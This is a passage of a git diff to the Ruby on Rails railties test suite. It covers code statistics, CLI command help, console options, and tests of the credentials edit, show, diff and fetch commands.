+    assert_equal "app/views/application/index.html.erb:4", frame
   end
 end
diff --git a/railties/test/code_statistics_calculator_test.rb b/railties/test/code_statistics_calculator_test.rb
index 1bd4225f34aac..7e5b23376f18b 100644
--- a/railties/test/code_statistics_calculator_test.rb
+++ b/railties/test/code_statistics_calculator_test.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "rails/code_statistics_calculator"
 
 class CodeStatisticsCalculatorTest < ActiveSupport::TestCase
   def setup
-    @code_statistics_calculator = CodeStatisticsCalculator.new
+    @code_statistics_calculator = Rails::CodeStatisticsCalculator.new
   end
 
   test "calculate statistics using #add_by_file_path" do
@@ -24,7 +26,7 @@ def foo
     end
   end
 
-  test "count number of methods in Minitest file" do
+  test "count number of methods in minitest file" do
     code = <<-RUBY
       class FooTest < ActionController::TestCase
         test 'expectation' do
@@ -44,7 +46,7 @@ def test_expectation
   end
 
   test "add statistics to another using #add" do
-    code_statistics_calculator_1 = CodeStatisticsCalculator.new(1, 2, 3, 4)
+    code_statistics_calculator_1 = Rails::CodeStatisticsCalculator.new(1, 2, 3, 4)
     @code_statistics_calculator.add(code_statistics_calculator_1)
 
     assert_equal 1, @code_statistics_calculator.lines
@@ -52,7 +54,7 @@ def test_expectation
     assert_equal 3, @code_statistics_calculator.classes
     assert_equal 4, @code_statistics_calculator.methods
 
-    code_statistics_calculator_2 = CodeStatisticsCalculator.new(2, 3, 4, 5)
+    code_statistics_calculator_2 = Rails::CodeStatisticsCalculator.new(2, 3, 4, 5)
     @code_statistics_calculator.add(code_statistics_calculator_2)
 
     assert_equal 3, @code_statistics_calculator.lines
@@ -62,7 +64,7 @@ def test_expectation
   end
 
   test "accumulate statistics using #add_by_io" do
-    code_statistics_calculator_1 = CodeStatisticsCalculator.new(1, 2, 3, 4)
+    code_statistics_calculator_1 = Rails::CodeStatisticsCalculator.new(1, 2, 3, 4)
     @code_statistics_calculator.add(code_statistics_calculator_1)
 
     code = <<-'CODE'
@@ -216,6 +218,59 @@ def foo
     assert_equal 0, @code_statistics_calculator.methods
   end
 
+  test "skip ERB comments" do
+    code = <<-'CODE'
+      <!-- This is an HTML comment -->
+      <%# This is a great comment! %>
+      <div>
+        <%= hello %>
+
+      </div>
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :erb)
+
+    assert_equal 6, @code_statistics_calculator.lines
+    assert_equal 3, @code_statistics_calculator.code_lines
+    assert_equal 0, @code_statistics_calculator.classes
+    assert_equal 0, @code_statistics_calculator.methods
+  end
+
+  test "skip CSS comments" do
+    code = <<-'CODE'
+      /* My cool CSS */
+      .selector {
+        background-color: blue;
+
+      }
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :css)
+
+    assert_equal 5, @code_statistics_calculator.lines
+    assert_equal 3, @code_statistics_calculator.code_lines
+    assert_equal 0, @code_statistics_calculator.classes
+    assert_equal 0, @code_statistics_calculator.methods
+  end
+
+  test "skip SCSS comments" do
+    code = <<-'CODE'
+      // My cool SCSS
+      /* My cool SCSS */
+      .selector {
+        background-color: blue;
+
+      }
+    CODE
+
+    @code_statistics_calculator.add_by_io(StringIO.new(code), :scss)
+
+    assert_equal 6, @code_statistics_calculator.lines
+    assert_equal 3, @code_statistics_calculator.code_lines
+    assert_equal 0, @code_statistics_calculator.classes
+    assert_equal 0, @code_statistics_calculator.methods
+  end
+
   test "calculate number of CoffeeScript methods" do
     code = <<-'CODE'
       square = (x) -> x * x
@@ -317,7 +372,7 @@ class Animal
 
   private
     def temp_file(name, content)
-      dir = File.expand_path "../fixtures/tmp", __FILE__
+      dir = File.expand_path "fixtures/tmp", __dir__
       path = "#{dir}/#{name}"
 
       FileUtils.mkdir_p dir
diff --git a/railties/test/code_statistics_test.rb b/railties/test/code_statistics_test.rb
index 965b6eeb79a0e..cde865bdafb6e 100644
--- a/railties/test/code_statistics_test.rb
+++ b/railties/test/code_statistics_test.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "rails/code_statistics"
 
 class CodeStatisticsTest < ActiveSupport::TestCase
   def setup
-    @tmp_path = File.expand_path(File.join(File.dirname(__FILE__), "fixtures", "tmp"))
+    @tmp_path = File.expand_path("fixtures/tmp", __dir__)
     @dir_js   = File.join(@tmp_path, "lib.js")
     FileUtils.mkdir_p(@dir_js)
   end
@@ -12,9 +14,32 @@ def teardown
     FileUtils.rm_rf(@tmp_path)
   end
 
+  test "register directories" do
+    Rails::CodeStatistics.register_directory("My Directory", "path/to/dir")
+    assert Rails::CodeStatistics.directories.include?(["My Directory", "path/to/dir"])
+    assert_not Rails::CodeStatistics.test_types.include?("My Directory")
+  ensure
+    Rails::CodeStatistics.directories.delete(["My Directory", "path/to/dir"])
+  end
+
+  test "register test directories" do
+    Rails::CodeStatistics.register_directory("Model specs", "spec/models", test_directory: true)
+    assert Rails::CodeStatistics.test_types.include?("Model specs")
+  ensure
+    Rails::CodeStatistics.test_types.delete("Model specs")
+  end
+
+  test "register test extensions" do
+    Rails::CodeStatistics.register_extension("slim")
+    assert Rails::CodeStatistics.pattern.to_s.include?("slim")
+  ensure
+    Rails::CodeStatistics.extensions = Rails::CodeStatistics::EXTENSIONS
+    Rails::CodeStatistics.pattern = Rails::CodeStatistics::PATTERN
+  end
+
   test "ignores directories that happen to have source files extensions" do
     assert_nothing_raised do
-      @code_statistics = CodeStatistics.new(["tmp dir", @tmp_path])
+      @code_statistics = Rails::CodeStatistics.new(["tmp dir", @tmp_path])
     end
   end
 
@@ -26,7 +51,7 @@ def foo
     CODE
 
     assert_nothing_raised do
-      CodeStatistics.new(["hidden file", @tmp_path])
+      Rails::CodeStatistics.new(["hidden file", @tmp_path])
     end
   end
 end
diff --git a/railties/test/command/base_test.rb b/railties/test/command/base_test.rb
new file mode 100644
index 0000000000000..8e1256ed73e79
--- /dev/null
+++ b/railties/test/command/base_test.rb
@@ -0,0 +1,141 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "rails/command"
+require "rails/commands/generate/generate_command"
+require "rails/commands/notes/notes_command"
+require "rails/commands/credentials/credentials_command"
+require "rails/commands/db/system/change/change_command"
+
+class Rails::Command::BaseTest < ActiveSupport::TestCase
+  test "printing commands returns command and description if present" do
+    assert_equal ["generate", ""], Rails::Command::GenerateCommand.printing_commands.first
+    assert_equal ["notes", "Show comments in your code annotated with FIXME, OPTIMIZE, and TODO"], Rails::Command::NotesCommand.printing_commands.first
+  end
+
+  test "printing commands returns namespaced commands" do
+    assert_equal %w(credentials:edit credentials:show credentials:diff credentials:fetch), Rails::Command::CredentialsCommand.printing_commands.map(&:first)
+    assert_equal %w(db:system:change), Rails::Command::Db::System::ChangeCommand.printing_commands.map(&:first)
+  end
+
+  test "printing commands hides hidden commands" do
+    class Rails::Command::HiddenCommand < Rails::Command::Base
+      desc "command", "Hidden command", hide: true
+      def command
+      end
+    end
+    assert_equal [], Rails::Command::HiddenCommand.printing_commands
+  end
+
+  test "help shows usage and description" do
+    class Rails::Command::HelpfulCommand < Rails::Command::Base
+      desc "foo PATH", "description of foo"
+      def foo(path); end
+
+      desc "bar [paths...]", "description of bar"
+      def bar(*paths); end
+    end
+
+    overview = capture(:stdout) do
+      Rails::Command::HelpfulCommand.perform("help", [], {})
+    end
+    assert_match "bin/rails helpful:foo PATH", overview
+    assert_match "description of foo", overview
+    assert_match "bin/rails helpful:bar [paths...]", overview
+    assert_match "description of bar", overview
+
+    foo_help = capture(:stdout) do
+      Rails::Command::HelpfulCommand.perform("foo", ["--help"], {})
+    end
+    assert_match "bin/rails helpful:foo PATH", foo_help
+    assert_match "description of foo", foo_help
+    assert_no_match "helpful:bar", foo_help
+
+    bar_help = capture(:stdout) do
+      Rails::Command::HelpfulCommand.perform("bar", ["--help"], {})
+    end
+    assert_match "bin/rails helpful:bar [paths...]", bar_help
+    assert_match "description of bar", bar_help
+    assert_no_match "helpful:foo", bar_help
+  end
+
+  test "help usage banner shows full command name" do
+    module Rails::Command::Nesting
+      class NestedCommand < Rails::Command::Base
+        def perform(*); end
+        def foo(*); end
+      end
+    end
+
+    main_help = capture(:stdout) do
+      Rails::Command::Nesting::NestedCommand.perform("nested", ["--help"], {})
+    end
+    assert_match %r"Usage:\s+bin/rails nesting:nested$", main_help
+
+    foo_help = capture(:stdout) do
+      Rails::Command::Nesting::NestedCommand.perform("foo", ["--help"], {})
+    end
+    assert_match %r"Usage:\s+bin/rails nesting:nested:foo$", foo_help
+  end
+
+  test "::executable returns bin and command name" do
+    assert_equal "bin/rails generate", Rails::Command::GenerateCommand.executable
+  end
+
+  test "::executable integrates subcommand when given" do
+    assert_equal "bin/rails generate:help", Rails::Command::GenerateCommand.executable(:help)
+  end
+
+  test "::executable integrates ::bin" do
+    class Rails::Command::CustomBinCommand < Rails::Command::Base
+      self.bin = "FOO"
+    end
+
+    assert_equal "FOO custom_bin", Rails::Command::CustomBinCommand.executable
+  end
+
+  test "#current_subcommand reflects current subcommand" do
+    class Rails::Command::LastSubcommandCommand < Rails::Command::Base
+      singleton_class.attr_accessor :last_subcommand
+
+      def set_last_subcommand
+        self.class.last_subcommand = current_subcommand
+      end
+
+      alias :foo :set_last_subcommand
+      alias :bar :set_last_subcommand
+    end
+
+    Rails::Command.invoke("last_subcommand:foo")
+    assert_equal "foo", Rails::Command::LastSubcommandCommand.last_subcommand
+
+    Rails::Command.invoke("last_subcommand:bar")
+    assert_equal "bar", Rails::Command::LastSubcommandCommand.last_subcommand
+  end
+
+  test "ARGV is populated" do
+    class Rails::Command::ArgvCommand < Rails::Command::Base
+      def check_populated(*args)
+        raise "not populated" if ARGV.empty? || ARGV != args
+      end
+    end
+
+    assert_nothing_raised { Rails::Command.invoke("argv:check_populated", %w[foo bar]) }
+  end
+
+  test "ARGV is isolated" do
+    class Rails::Command::ArgvCommand < Rails::Command::Base
+      def check_isolated
+        ARGV << "isolate this"
+      end
+    end
+
+    original_argv = ARGV.dup
+    ARGV.clear
+
+    Rails::Command.invoke("argv:check_isolated")
+    assert_empty ARGV
+  ensure
+    ARGV.replace(original_argv)
+  end
+end
diff --git a/railties/test/command/help_integration_test.rb b/railties/test/command/help_integration_test.rb
new file mode 100644
index 0000000000000..98f27dbd5042a
--- /dev/null
+++ b/railties/test/command/help_integration_test.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/command"
+
+class Rails::Command::HelpIntegrationTest < ActiveSupport::TestCase
+  setup :build_app
+  teardown :teardown_app
+
+  test "when passing --trace it invokes default" do
+    assert_match "Invoke default", rails("--trace")
+  end
+
+  test "prints helpful error on unrecognized command" do
+    output = rails "vershen", allow_failure: true
+
+    assert_match %(Unrecognized command "vershen"), output
+    assert_match "Did you mean?  version", output
+  end
+
+  test "loads Rake tasks only once on unrecognized command" do
+    app_file "lib/tasks/my_task.rake", <<~RUBY
+      puts "MY_TASK already defined? => \#{!!defined?(MY_TASK)}"
+      MY_TASK = true
+    RUBY
+
+    output = rails "vershen", allow_failure: true
+
+    assert_match "MY_TASK already defined? => false", output
+    assert_no_match "MY_TASK already defined? => true", output
+  end
+
+  test "prints help via `X:help` command when running `X` and `X:X` command is not defined" do
+    help = rails "dev:help"
+    output = rails "dev", allow_failure: true
+
+    assert_match help, output
+  end
+
+  test "prints Rake tasks on --tasks / -T option" do
+    app_file "lib/tasks/my_task.rake", <<~RUBY
+      Rake.application.clear
+
+      desc "my_task"
+      task :my_task
+    RUBY
+
+    assert_match "my_task", rails("--tasks")
+    assert_match "my_task", rails("-T")
+  end
+
+  test "excludes application Rake tasks from command list via --help" do
+    app_file "Rakefile", <<~RUBY, "a"
+      desc "my_task"
+      task :my_task_1
+    RUBY
+
+    app_file "lib/tasks/my_task.rake", <<~RUBY
+      desc "my_task"
+      task :my_task_2
+    RUBY
+
+    assert_no_match "my_task", rails("--help")
+  end
+end
diff --git a/railties/test/commands/application_test.rb b/railties/test/commands/application_test.rb
new file mode 100644
index 0000000000000..0855194c2221f
--- /dev/null
+++ b/railties/test/commands/application_test.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "rails/command"
+
+class Rails::Command::ApplicationTest < ActiveSupport::TestCase
+  test "rails new without path prints help" do
+    output = run_application_command "new"
+
+    # Doesn't include the default thor error message:
+    assert_not output.start_with?("No value provided for required arguments")
+
+    # Includes contents of ~/railties/lib/rails/generators/rails/app/USAGE:
+    assert output.include?("The `rails new` command creates a new Rails application with a default
+    directory structure and configuration at the path you specify.")
+  end
+
+  private
+    def run_application_command(*args)
+      capture(:stdout) { Rails::Command.invoke(:application, args) }
+    end
+end
diff --git a/railties/test/commands/boot_test.rb b/railties/test/commands/boot_test.rb
new file mode 100644
index 0000000000000..6d7e9c44789df
--- /dev/null
+++ b/railties/test/commands/boot_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rails/command"
+require "rails/commands/boot/boot_command"
+
+class Rails::Command::BootTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  setup :build_app
+  teardown :teardown_app
+
+  test "boots the application" do
+    test_file = "#{app_path}/tmp/test_file"
+
+    app_file "config/initializers/write_test_file.rb", <<-RUBY
+      File.write(#{test_file.inspect}, Rails.env)
+    RUBY
+
+    rails "boot"
+
+    assert_equal "development", File.read(test_file)
+  end
+
+  test "optionally accepts an environment" do
+    test_file = "#{app_path}/tmp/test_file"
+
+    app_file "config/initializers/write_test_file.rb", <<-RUBY
+      File.write(#{test_file.inspect}, Rails.env)
+    RUBY
+
+    rails "boot", "-e", "test"
+
+    assert_equal "test", File.read(test_file)
+  end
+end
diff --git a/railties/test/commands/console_test.rb b/railties/test/commands/console_test.rb
index 4fc082e4cad60..6a80d950decd5 100644
--- a/railties/test/commands/console_test.rb
+++ b/railties/test/commands/console_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "env_helpers"
 require "rails/command"
@@ -16,44 +18,75 @@ def self.start
     end
   end
 
+  def setup
+    @prev_rails_env = Rails.env
+  end
+
+  def teardown
+    Rails.env = @prev_rails_env
+  end
+
   def test_sandbox_option
     console = Rails::Console.new(app, parse_arguments(["--sandbox"]))
-    assert console.sandbox?
+    assert_predicate console, :sandbox?
   end
 
   def test_short_version_of_sandbox_option
     console = Rails::Console.new(app, parse_arguments(["-s"]))
-    assert console.sandbox?
+    assert_predicate console, :sandbox?
   end
 
   def test_no_options
     console = Rails::Console.new(app, parse_arguments([]))
-    assert !console.sandbox?
+    assert_not_predicate console, :sandbox?
   end
 
   def test_start
     start
 
-    assert app.console.started?
+    assert_predicate app.console, :started?
     assert_match(/Loading \w+ environment \(Rails/, output)
+    assert_match(/Type 'help' for help/, output)
   end
 
   def test_start_with_sandbox
     start ["--sandbox"]
 
-    assert app.console.started?
+    assert_predicate app.console, :started?
     assert app.sandbox
     assert_match(/Loading \w+ environment in sandbox \(Rails/, output)
+    assert_match(/Type 'help' for help/, output)
   end
 
   def test_console_with_environment
-    start ["-e production"]
+    start ["-e", "production"]
     assert_match(/\sproduction\s/, output)
   end
 
   def test_console_defaults_to_IRB
     app = build_app(nil)
-    assert_equal IRB, Rails::Console.new(app).console
+    assert_equal "IRB", Rails::Console.new(app).console.name
+  end
+
+  def test_prompt_env_colorization
+    app = build_app(nil)
+    irb_console = Rails::Console.new(app).console
+    red = "\e[31m"
+    blue = "\e[34m"
+    magenta = "\e[35m"
+    clear = "\e[0m"
+
+    Rails.env = "development"
+    assert_equal("#{blue}dev#{clear}", irb_console.colorized_env)
+
+    Rails.env = "test"
+    assert_equal("#{blue}test#{clear}", irb_console.colorized_env)
+
+    Rails.env = "production"
+    assert_equal("#{red}prod#{clear}", irb_console.colorized_env)
+
+    Rails.env = "custom_env"
+    assert_equal("#{magenta}custom_env#{clear}", irb_console.colorized_env)
   end
 
   def test_default_environment_with_no_rails_env
@@ -82,27 +115,17 @@ def test_e_option
     assert_match(/\sspecial-production\s/, output)
   end
 
-  def test_environment_option
-    start ["--environment=special-production"]
-    assert_match(/\sspecial-production\s/, output)
-  end
-
-  def test_rails_env_is_production_when_first_argument_is_p
-    start ["p"]
+  def test_e_option_is_properly_expanded
+    start ["-e", "prod"]
     assert_match(/\sproduction\s/, output)
   end
 
-  def test_rails_env_is_test_when_first_argument_is_t
-    start ["t"]
-    assert_match(/\stest\s/, output)
-  end
-
-  def test_rails_env_is_development_when_argument_is_d
-    start ["d"]
-    assert_match(/\sdevelopment\s/, output)
+  def test_environment_option
+    start ["--environment=special-production"]
+    assert_match(/\sspecial-production\s/, output)
   end
 
-  def test_rails_env_is_dev_when_argument_is_dev_and_dev_env_is_present
+  def test_rails_env_is_dev_when_environment_option_is_dev_and_dev_env_is_present
     Rails::Command::ConsoleCommand.class_eval do
       alias_method :old_environments, :available_environments
 
@@ -111,7 +134,7 @@ def test_rails_env_is_dev_when_argument_is_dev_and_dev_env_is_present
       end
     end
 
-    assert_match("dev", parse_arguments(["dev"])[:environment])
+    assert_match("dev", parse_arguments(["-e", "dev"])[:environment])
   ensure
     Rails::Command::ConsoleCommand.class_eval do
       undef_method :available_environments
@@ -124,7 +147,6 @@ def test_rails_env_is_dev_when_argument_is_dev_and_dev_env_is_present
   private :output
 
   private
-
     def start(argv = [])
       rails_console = Rails::Console.new(app, parse_arguments(argv))
       @output = capture(:stdout) { rails_console.start }
@@ -135,8 +157,9 @@ def app
     end
 
     def build_app(console)
-      mocked_console = Class.new do
-        attr_reader :sandbox, :console
+      mocked_app = Class.new do
+        attr_accessor :sandbox
+        attr_reader :console, :disable_sandbox, :sandbox_by_default
 
         def initialize(console)
           @console = console
@@ -146,32 +169,13 @@ def config
           self
         end
 
-        def sandbox=(arg)
-          @sandbox = arg
-        end
-
         def load_console
         end
       end
-      mocked_console.new(console)
+      mocked_app.new(console)
     end
 
     def parse_arguments(args)
-      Rails::Command::ConsoleCommand.class_eval do
-        alias_method :old_perform, :perform
-        define_method(:perform) do
-          extract_environment_option_from_argument
-
-          options
-        end
-      end
-
-      Rails::Command.invoke(:console, args)
-    ensure
-      Rails::Command::ConsoleCommand.class_eval do
-        undef_method :perform
-        alias_method :perform, :old_perform
-        undef_method :old_perform
-      end
+      Rails::Command::ConsoleCommand.new([], args).options
     end
 end
diff --git a/railties/test/commands/credentials_test.rb b/railties/test/commands/credentials_test.rb
new file mode 100644
index 0000000000000..d8cdcaecfdb54
--- /dev/null
+++ b/railties/test/commands/credentials_test.rb
@@ -0,0 +1,430 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "env_helpers"
+require "rails/command"
+require "fileutils"
+
+class Rails::Command::CredentialsTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation, EnvHelpers
+
+  setup :build_app
+  teardown :teardown_app
+
+  test "edit without visual or editor gives hint" do
+    run_edit_command(visual: "", editor: "").tap do |output|
+      assert_match "No $VISUAL or $EDITOR to open file in", output
+      assert_match "rails credentials:edit", output
+    end
+  end
+
+  test "edit with visual but not editor does not give hint" do
+    run_edit_command(visual: "cat", editor: "").tap do |output|
+      assert_no_match "No $VISUAL or $EDITOR to open file in", output
+    end
+  end
+
+  test "edit with editor but not visual does not give hint" do
+    run_edit_command(visual: "", editor: "cat").tap do |output|
+      assert_no_match "No $VISUAL or $EDITOR to open file in", output
+    end
+  end
+
+  test "edit credentials" do
+    # Run twice to ensure credentials can be reread after first edit pass.
+    2.times do
+      assert_match DEFAULT_CREDENTIALS_PATTERN, run_edit_command
+    end
+  end
+
+  test "edit command does not add master key to gitignore when already exist" do
+    run_edit_command
+
+    Dir.chdir(app_path) do
+      gitignore = File.read(".gitignore")
+      assert_equal 1, gitignore.scan("config/*.key").length
+    end
+  end
+
+  test "edit command does not overwrite by default if credentials already exists" do
+    write_credentials "foo: bar"
+    output = run_edit_command
+
+    assert_match %r/foo: bar/, output
+    assert_no_match DEFAULT_CREDENTIALS_PATTERN, output
+  end
+
+  test "edit command adds master key" do
+    remove_file "config/credentials.yml.enc"
+    remove_file "config/master.key"
+    app_file ".gitignore", ""
+    run_edit_command
+
+    assert_file "config/master.key"
+    assert_match "config/*.key", read_file(".gitignore")
+  end
+
+  test "edit command does not overwrite master key file if it already exists" do
+    master_key = read_file("config/master.key")
+    run_edit_command
+
+    assert_equal master_key, read_file("config/master.key")
+  end
+
+  test "edit command does not add duplicate master key entries to gitignore" do
+    2.times { run_edit_command }
+
+    assert_equal 1, read_file(".gitignore").scan("config/*.key").length
+  end
+
+  test "edit command can add master key when require_master_key is true" do
+    remove_file "config/credentials.yml.enc"
+    remove_file "config/master.key"
+    add_to_config "config.require_master_key = true"
+
+    assert_nothing_raised { run_edit_command }
+    assert_file "config/master.key"
+  end
+
+  test "edit command does not add master key when `RAILS_MASTER_KEY` env specified" do
+    master_key = read_file("config/master.key")
+    remove_file "config/master.key"
+    app_file ".gitignore", ""
+
+    switch_env("RAILS_MASTER_KEY", master_key) do
+      assert_match DEFAULT_CREDENTIALS_PATTERN, run_edit_command
+      assert_no_file "config/master.key"
+      assert_no_match "config/master.key", read_file(".gitignore")
+    end
+  end
+
+  test "edit command modifies file specified by environment option" do
+    remove_file "config/credentials.yml.enc"
+
+    assert_match DEFAULT_CREDENTIALS_PATTERN, run_edit_command(environment: "production")
+
+    assert_no_file "config/credentials.yml.enc"
+    assert_file "config/credentials/production.key"
+    assert_file "config/credentials/production.yml.enc"
+  end
+
+  test "edit command properly expands environment option" do
+    remove_file "config/credentials.yml.enc"
+
+    assert_match DEFAULT_CREDENTIALS_PATTERN, run_edit_command(environment: "prod")
+
+    assert_no_file "config/credentials.yml.enc"
+    assert_file "config/credentials/production.key"
+    assert_file "config/credentials/production.yml.enc"
+  end
+
+  test "edit command omits secret_key_base from generated credentials for dev environment" do
+    assert_no_match %r/^\s*secret_key_base: /, run_edit_command(environment: "dev")
+    assert_file "config/credentials/development.yml.enc"
+  end
+
+  test "edit command omits secret_key_base from generated credentials for test environment" do
+    assert_no_match %r/^\s*secret_key_base: /, run_edit_command(environment: "test")
+    assert_file "config/credentials/test.yml.enc"
+  end
+
+  test "edit command does not raise when an initializer tries to access non-existent credentials" do
+    File.write(app_path("config", "environments", "qa.rb"), "")
+    app_file "config/initializers/raise_when_loaded.rb", <<-RUBY
+      Rails.application.credentials.missing_key!
+    RUBY
+
+    assert_match DEFAULT_CREDENTIALS_PATTERN, run_edit_command(environment: "qa")
+  end
+
+  test "edit command generates credentials file when it does not exist" do
+    remove_file "config/credentials.yml.enc"
+
+    assert_match DEFAULT_CREDENTIALS_PATTERN, run_edit_command
+
+    assert_file "config/credentials.yml.enc"
+  end
+
+  test "edit command can use custom template to generate credentials file" do
+    app_file "lib/templates/rails/credentials/credentials.yml.tt", <<~ERB
+      provides_secret_key_base: <%= [secret_key_base] == [secret_key_base].compact %>
+    ERB
+    remove_file "config/credentials.yml.enc"
+
+    assert_match %r/provides_secret_key_base: true/, run_edit_command
+  end
+
+  test "edit command does not display save confirmation message if interrupted" do
+    assert_match %r/file encrypted and saved/i, run_edit_command
+
+    interrupt_command_process = %(ruby -e "Process.kill 'INT', Process.ppid")
+    output = run_edit_command(visual: interrupt_command_process)
+
+    assert_no_match %r/file encrypted and saved/i, output
+    assert_match %r/nothing saved/i, output
+  end
+
+  test "edit command preserves user's content even if it contains invalid YAML" do
+    write_invalid_yaml = %(ruby -e "File.write ARGV[0], 'foo: bar: bad'")
+
+    assert_match %r/WARNING: Invalid YAML/, run_edit_command(visual: write_invalid_yaml)
+    assert_match %r/foo: bar: bad/, run_edit_command
+  end
+
+  test "show credentials" do
+    assert_match DEFAULT_CREDENTIALS_PATTERN, run_show_command
+  end
+
+  test "show command raises error when require_master_key is specified and key does not exist" do
+    remove_file "config/master.key"
+    add_to_config "config.require_master_key = true"
+
+    assert_match(/Missing encryption key to decrypt file with/, run_show_command(allow_failure: true))
+  end
+
+  test "show command does not raise error when require_master_key is false and master key does not exist" do
+    remove_file "config/master.key"
+    add_to_config "config.require_master_key = false"
+
+    stderr_output = capture(:stderr) { run_show_command(stderr: true, allow_failure: true) }
+    assert_match(/Missing 'config\/master\.key' to decrypt credentials/, stderr_output)
+  end
+
+  test "show command displays content specified by environment option" do
+    write_credentials "foo: bar", environment: "production"
+
+    assert_match %r/foo: bar/, run_show_command(environment: "production")
+  end
+
+  test "show command properly expands environment option" do
+    write_credentials "foo: bar", environment: "production"
+
+    assert_match %r/foo: bar/, run_show_command(environment: "prod")
+  end
+
+
+  test "diff enroll diffing" do
+    FileUtils.rm(app_path(".gitattributes"))
+    assert_match(/\benrolled project/i, run_diff_command(enroll: true))
+
+    assert_includes File.read(app_path(".gitattributes")), <<~EOM
+      config/credentials/*.yml.enc diff=rails_credentials
+      config/credentials.yml.enc diff=rails_credentials
+    EOM
+  end
+
+  test "diff enroll diffing when already enrolled" do
+    run_diff_command(enroll: true)
+
+    assert_match(/already enrolled/i, run_diff_command(enroll: true))
+
+    assert_equal 1, File.read(app_path(".gitattributes")).scan("config/credentials.yml.enc").length
+  end
+
+  test "diff disenroll diffing" do
+    FileUtils.rm(app_path(".gitattributes"))
+    run_diff_command(enroll: true)
+
+    assert_match(/\bdisenrolled project/i, run_diff_command(disenroll: true))
+
+    assert_not File.exist?(app_path(".gitattributes"))
+  end
+
+  test "diff disenroll diffing with existing .gitattributes" do
+    File.write(app_path(".gitattributes"), "foo bar\n")
+    run_diff_command(enroll: true)
+
+    run_diff_command(disenroll: true)
+
+    assert_equal("foo bar\n", File.read(app_path(".gitattributes")))
+  end
+
+  test "diff disenroll diffing when not enrolled" do
+    FileUtils.rm(app_path(".gitattributes"))
+
+    assert_match(/not enrolled/i, run_diff_command(disenroll: true))
+
+    assert_not File.exist?(app_path(".gitattributes"))
+  end
+
+  test "running edit after enrolling in diffing sets diff driver" do
+    run_diff_command(enroll: true)
+
+    assert_match %r/git diff driver/i, run_edit_command
+
+    Dir.chdir(app_path) do
+      assert_equal "bin/rails credentials:diff", `git config --get 'diff.rails_credentials.textconv'`.strip
+    end
+
+    assert_no_match %r/git diff driver/i, run_edit_command
+  end
+
+  test "diff from git diff left file" do
+    run_edit_command(environment: "development")
+
+    assert_match(/access_key_id: 123/, run_diff_command("config/credentials/development.yml.enc"))
+  end
+
+  test "diff from git diff right file" do
+    run_edit_command(environment: "development")
+
+    content_path = app_path("config", "credentials", "KnAM4a_development.yml.enc")
+    File.write(content_path,
+      File.read(app_path("config", "credentials", "development.yml.enc")))
+
+    assert_match(/access_key_id: 123/, run_diff_command(content_path))
+  end
+
+  test "diff for main credentials" do
+    assert_match(/access_key_id: 123/, run_diff_command("config/credentials.yml.enc"))
+  end
+
+  test "diff when master key is not available" do
+    remove_file "config/master.key"
+
+    raw_content = File.read(app_path("config", "credentials.yml.enc"))
+    assert_match(raw_content, run_diff_command("config/credentials.yml.enc"))
+  end
+
+  test "diff for custom environment" do
+    File.write(app_path("config", "environments", "custom.rb"), "")
+    run_edit_command(environment: "custom")
+
+    assert_match(/access_key_id: 123/, run_diff_command("config/credentials/custom.yml.enc"))
+  end
+
+  test "diff for custom environment when key is not available" do
+    File.write(app_path("config", "environments", "custom.rb"), "")
+    run_edit_command(environment: "custom")
+    remove_file "config/credentials/custom.key"
+
+    raw_content = File.read(app_path("config", "credentials", "custom.yml.enc"))
+    assert_match(raw_content, run_diff_command("config/credentials/custom.yml.enc"))
+  end
+
+  test "diff returns raw encrypted content when errors occur" do
+    run_edit_command(environment: "development")
+
+    content_path = app_path("20190807development.yml.enc")
+    encrypted_content = File.read(app_path("config", "credentials", "development.yml.enc"))
+    File.write(content_path, encrypted_content + "ruin decryption")
+
+    assert_match(encrypted_content, run_diff_command(content_path))
+  end
+
+
+  test "respects config.credentials.content_path when set in config/application.rb" do
+    content_path = "my_secrets/credentials.yml.enc"
+    add_to_config "config.credentials.content_path = #{content_path.inspect}"
+
+    assert_credentials_paths content_path, "config/master.key"
+
+    assert_credentials_paths content_path, "config/credentials/production.key", environment: "production"
+  end
+
+  test "respects config.credentials.key_path when set in config/application.rb" do
+    key_path = "my_secrets/master.key"
+    add_to_config "config.credentials.key_path = #{key_path.inspect}"
+
+    assert_credentials_paths "config/credentials.yml.enc", key_path
+
+    assert_credentials_paths "config/credentials/production.yml.enc", key_path, environment: "production"
+  end
+
+  test "respects config.credentials.content_path when set in config/environments/*.rb" do
+    content_path = "my_secrets/credentials.yml.enc"
+    add_to_env_config "production", "config.credentials.content_path = #{content_path.inspect}"
+
+    with_rails_env "production" do
+      assert_credentials_paths content_path, "config/master.key"
+    end
+
+    assert_credentials_paths content_path, "config/credentials/production.key", environment: "production"
+  end
+
+  test "respects config.credentials.key_path when set in config/environments/*.rb" do
+    key_path = "my_secrets/master.key"
+    add_to_env_config "production", "config.credentials.key_path = #{key_path.inspect}"
+
+    with_rails_env "production" do
+      assert_credentials_paths "config/credentials.yml.enc", key_path
+    end
+
+    assert_credentials_paths "config/credentials/production.yml.enc", key_path, environment: "production"
+  end
+
+  test "fetch value for given path" do
+    write_credentials({ "foo" => { "bar" => { "baz" => 42 } } }.to_yaml)
+
+    assert_match(/42/, run_fetch_command("foo.bar.baz"))
+  end
+
+  test "fetch missing key" do
+    write_credentials({ "foo" => { "bar" => { "baz" => 42 } } }.to_yaml)
+
+
+    stderr_output = capture(:stderr) { run_fetch_command("egg.spam", stderr: true, allow_failure: true) }
+    assert_match("Invalid or missing credential path: egg.spam", stderr_output)
+  end
+
+  private
+    DEFAULT_CREDENTIALS_PATTERN = /access_key_id: 123\n.*secret_key_base: \h{128}\n/m
+
+    def run_edit_command(visual: "cat", editor: "cat", environment: nil, **options)
